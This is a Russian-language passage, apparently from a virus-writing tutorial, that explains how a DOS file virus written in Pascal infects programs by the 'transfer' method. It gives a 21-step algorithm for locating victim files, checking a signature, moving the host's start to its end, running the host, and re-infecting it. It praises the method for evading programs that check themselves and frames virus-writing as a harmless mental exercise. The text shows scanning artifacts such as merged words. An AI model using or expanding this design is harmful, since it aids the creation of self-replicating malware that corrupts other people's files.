Вирусы — это хорошая гимнастика для ума, хотя многие думают, чтонаписать вирус на языке высокого уровня весьма трудно. Это не совсемтак. Писать на языке Pascal довольно легко, правда величина получен-ного кода вызывает благоговейный трепет.
Внедрение способом переноса
Вирусы данного типа размножаются следующим образом. Из инфициру-емой программы от начала файла считывается часть кода, по длине рав-ная длине вируса. На освободившееся место вписывается вирус,а оригинальное начало программы переносится в конец файла. Отсюдаи название метода — «метод переноса». Есть и другие варианты. Иногда,например, начало программы записывается в середину файла, а серединапереносится в конец, чтобы еще сильнее все запутать. Превосходство дан-ного метода над другими описанными в том, что инфицированная про-грамма исполняется в том же виде, в каком она была до заражения,из файла с тем же именем и расширением. То есть программы, проверя-ющие себя на предмет заражения вирусом, его не замечают. Корректноисполняются и такие программы, которые ищут свои файлы конфигура-ции с именами
ИМЯ_И_ПУТЬ_К_САМОЙ_ПРОГРАММЕ +.INI
Недостаток данного метода проявляется при сбоях в работе компьюте-ра. Если при исполнении инфицированной программы компьютер»повиснет» или произойдет перезагрузка системы, инфицированная

программа окажется «чистой», то есть без вируса. Но, во-первых, «ктоне рискует, тот не пьет шампанского», а во-вторых, программы виснутредко. Алгоритм работы такого вируса следующий
1. Открыть файл, из которого получено управление.
2. Считать в буфер тело вируса.
3. Закрыть файл.
4. Найти файл-жертву.
5. Открыть файл-жертву.
6. Проверить файл на повторное заражение (здесь могут быть вариан-ты, но чаще всего используется сигнатура).
7. Если файл уже инфицирован, перейти к пункту 3.
8. Считать в буфер из начала найденного файла фрагмент программы,по длине равный телу вируса.
9. Записать в начало файла тело вируса из буфера.
10. Дописать в конец файла считанное начало программы из буфера.Длина программы увеличилась на длину вируса.
11. Закрыть файл-жертву.
12. Открыть файл, из которого стартовали.
13. Считать в буфер начало инфицированной программы, расположен-ное в конце файла.
14. Записать считанное начало программы поверх кода вируса в началофайла.
15. Сократить файл до его оригинальной длины (то есть удалить частькода, по длине равную длине тела вируса, в конце файла).
16. Закрыть файл.
17. Процедурой Ехес запустить стартовый файл (ParamStr(O)) на ис-полнение — выполнится инфицированная программа.
18. После завершения работы программы опять открыть стартовыйфайл.
19. Записать в начало файла тело вируса, а оригинальное начало про-граммы опять переместить в конец файла.
20. Закрыть файл.
21. Вернуть управление в DOS.
«